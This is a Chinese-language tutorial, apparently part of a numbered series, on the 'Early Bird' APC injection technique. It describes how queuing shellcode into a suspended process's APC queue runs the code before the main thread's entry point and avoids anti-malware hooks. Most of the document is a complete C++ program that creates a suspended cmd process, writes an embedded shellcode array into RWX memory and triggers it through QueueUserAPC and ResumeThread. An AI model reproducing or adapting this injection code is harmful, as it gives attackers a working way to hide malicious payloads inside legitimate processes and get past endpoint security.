19-Early Bird

一、前言

Early Bird是一种简单而强大的技术，Early Bird本质上是一种APC注入与线程劫持的变体，由于线程初始化时会调用ntdll未导出函数 NtTestAlert，该函数会清空并处理APC队列，所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权，从而避免了反恶意软件产品的钩子的检测，同时获得一个合法进程的环境信息。

二、流程

1. 使用 CreateProcessA 创建一个cmd进程，并设置为挂起状态。

2. 使用 VirtualAllocEx+WriteProcessMemory 在远程进程中申请一块RWX内存区域，写入shellcode

3. 使用 QueueUserAPC 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务

4. 使用 ResumeThread 恢复挂起线程，进而触发线程去执行APC队列的函数

三、代码实现

#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <iostream>

int main() {

    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
    };
    LPVOID lpShellcode = NULL;
    HANDLE hThread = NULL;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);

    if (!bRet)
    {
        std::cout << "创建进程失败";
        return 0;
    }

    // 在远程进程中申请一块RWX内存区域，写入shellcode
    lpShellcode = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, lpShellcode, shellcode, sizeof(shellcode), NULL);

    //向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
    QueueUserAPC((PAPCFUNC)lpShellcode, pi.hThread, NULL);

    // 恢复挂起线程，进而触发线程去执行APC队列的函数。
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}